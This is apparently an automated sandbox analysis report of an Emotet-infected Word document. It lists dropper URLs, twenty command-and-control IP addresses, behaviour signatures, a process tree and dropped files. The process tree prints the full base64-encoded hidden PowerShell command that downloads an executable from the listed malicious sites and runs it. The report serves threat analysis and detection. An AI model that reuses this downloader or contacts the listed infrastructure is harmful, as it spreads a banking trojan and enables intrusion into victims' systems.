Analysis

  • max time kernel
    27s
  • resource
    win10v191014
  • submitted
    14-01-2020 23:16

General

  • Target

    d29dd242f54a853e1efa1acabf1fa6c836a748a8955f788ad62bfd8f10b143fd

  • Sample

    200114-4qlkexy4wj

  • SHA256

    d29dd242f54a853e1efa1acabf1fa6c836a748a8955f788ad62bfd8f10b143fd

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://farsmix.com/wp-admin/xpk881/

exe.dropper

http://thuong.bidiworks.com/wp-content/q2TO1988/

exe.dropper

https://securiteordi.com/wofk253jeksed/QO485/

exe.dropper

http://ziyinshedege.com/wp-content/TIGc/

exe.dropper

http://luilao.com/yakattack/EmXdYs3Rf/

Extracted

Family

emotet

C2

70.184.69.146:80

186.177.165.196:443

139.47.135.215:80

192.241.143.52:8080

159.65.241.220:8080

45.79.95.107:443

69.163.33.84:8080

177.34.142.163:80

200.123.183.137:443

2.47.112.72:80

190.17.44.48:80

187.54.225.76:80

190.219.149.236:80

190.100.153.162:443

58.171.38.26:80

91.205.215.57:7080

152.231.89.226:80

94.176.234.118:443

201.213.100.141:8080

203.25.159.3:8080

rsa_pubkey.plain

Signatures

  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Process spawned unexpected child process 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

  • Drops file in System32 directory 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d29dd242f54a853e1efa1acabf1fa6c836a748a8955f788ad62bfd8f10b143fd.doc" /o ""
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    PID:4892
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w hidden -en JABXAHoAcgBtAGEAbAB4AHUAeABxAD0AJwBRAGwAZgBjAGgAYgB0AG8AdwBxACcAOwAkAFEAdQBvAG4AaQByAGwAaQBqACAAPQAgACcAMgAwADAAJwA7ACQAQQBvAGwAaQBnAHcAcwBlAHYAcgBlAD0AJwBVAGMAZABwAG8AbwBlAGkAeABjAGMAbwBlACcAOwAkAEUAYgBpAGUAbgBkAGwAbAB2AG8AYgBqAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABRAHUAbwBuAGkAcgBsAGkAagArACcALgBlAHgAZQAnADsAJABQAG0AZgB1AG4AeABhAHcAbQBtAHEAPQAnAEkAdgB1AGIAaQBpAGcAcgBrAGgAYgBxACcAOwAkAEQAZgByAHQAcQB5AGoAbQB2AD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABOAEUAVAAuAFcAZQBCAEMATABpAEUATgB0ADsAJABSAHUAcAB2AG0AdQB2AHkAagBvAHMAPQAnAGgAdAB0AHAAOgAvAC8AZgBhAHIAcwBtAGkAeAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AeABwAGsAOAA4ADEALwAqAGgAdAB0AHAAOgAvAC8AdABoAHUAbwBuAGcALgBiAGkAZABpAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHEAMgBUAE8AMQA5ADgAOAAvACoAaAB0AHQAcABzADoALwAvAHMAZQBjAHUAcgBpAHQAZQBvAHIAZABpAC4AYwBvAG0ALwB3AG8AZgBrADIANQAzAGoAZQBrAHMAZQBkAC8AUQBPADQAOAA1AC8AKgBoAHQAdABwADoALwAvAHoAaQB5AGkAbgBzAGgAZQBkAGUAZwBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AVABJAEcAYwAvACoAaAB0AHQAcAA6AC8ALwBsAHUAaQBsAGEAbwAuAGMAbwBtAC8AeQBhAGsAYQB0AHQAYQBjAGsALwBFAG0AWABkAFkAcwAzAFIAZgAvACcALgAiAHMAUABsAGAAaQB0ACIAKAAnACoAJwApADsAJABEAG0AaQB1AGMAbwBjAG8AaQA9ACcARwBhAHUAZgByAGMAeQB1AGwAegAnADsAZgBvAHIAZQBhAGMAaAAoACQAUQBnAGMAawB1AGoAbwBjAHQAIABpAG4AIAAkAFIAdQBwAHYAbQB1AHYAeQBqAG8AcwApAHsAdAByAHkAewAkAEQAZgByAHQAcQB5AGoAbQB2AC4AIgBkAG8AVwBuAEwAbwBgAEEARABgAEYASQBMAGUAIgAoACQAUQBnAGMAawB1AGoAbwBjAHQALAAgACQARQBiAGkAZQBuAGQAbABsAHYAbwBiAGoAKQA7ACQAQgBmAHYAYgB4AGUAZQBlAGUAPQAnAFgAawBkAHMAbgBnAHEAdABuAGoAcgAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEUAYgBpAGUAbgBkAGwAbAB2AG8AYgBqACkALgAiAGwARQBOAEcAYABUAGgAIgAgAC0AZwBlACAAMgAxADMANAA3ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAdABgAEEAcgB0ACIAKAAkAEUAYgBpAGUAbgBkAGwAbAB2AG8AYgBqACkAOwAkAE0AdABmAGQAdgBvAGgAYwBlAGgAPQAnAE0AZQBqAGUAZwBmAHQAawB4ACcAOwBiAHIAZQBhAGsAOwAkAEsAawBvAHUAZwBuAHkAagBkAG8AcAA9ACcAWgBiAGkAeQBqAHUAZgB2AGQAZwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABKAGkAYwBsAGgAeABvAHEAZgB2AD0AJwBVAGEAbwBmAHkAbAB0AHcAcwAnAA==
    1⤵
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3684
    • C:\Users\Admin\200.exe
      "C:\Users\Admin\200.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4624
      • C:\Users\Admin\200.exe
        --c4bc2c90
        3⤵
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        • Drops file in System32 directory
        PID:4604
  • C:\Windows\SysWOW64\dispidmailbox.exe
    "C:\Windows\SysWOW64\dispidmailbox.exe"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:4296
    • C:\Windows\SysWOW64\dispidmailbox.exe
      --68ce3ed
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Suspicious behavior: EmotetMutantsSpam
      PID:4320

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\Microsoft\Crypto\RSA\S-1-5-18\403f0cc78adafaecdb503a6c6424923d_293fa5bd-edfb-4bba-800e-a7dce3ea3438
  • C:\Users\Admin\200.exe
  • C:\Users\Admin\200.exe
  • C:\Users\Admin\200.exe
  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-634046074-2673730973-2644684987-1000\0f5007522459c86e95ffcc62f32308f1_293fa5bd-edfb-4bba-800e-a7dce3ea3438
  • C:\Windows\SysWOW64\dispidmailbox.exe
  • C:\Windows\SysWOW64\dispidmailbox.exe
  • memory/4296-13-0x0000000000DE0000-0x0000000000DF7000-memory.dmp
    Filesize

    92KB

  • memory/4320-17-0x0000000000400000-0x000000000046E000-memory.dmp
    Filesize

    440KB

  • memory/4604-10-0x0000000000520000-0x0000000000537000-memory.dmp
    Filesize

    92KB

  • memory/4604-11-0x0000000000400000-0x000000000046E000-memory.dmp
    Filesize

    440KB

  • memory/4624-7-0x0000000002270000-0x0000000002287000-memory.dmp
    Filesize

    92KB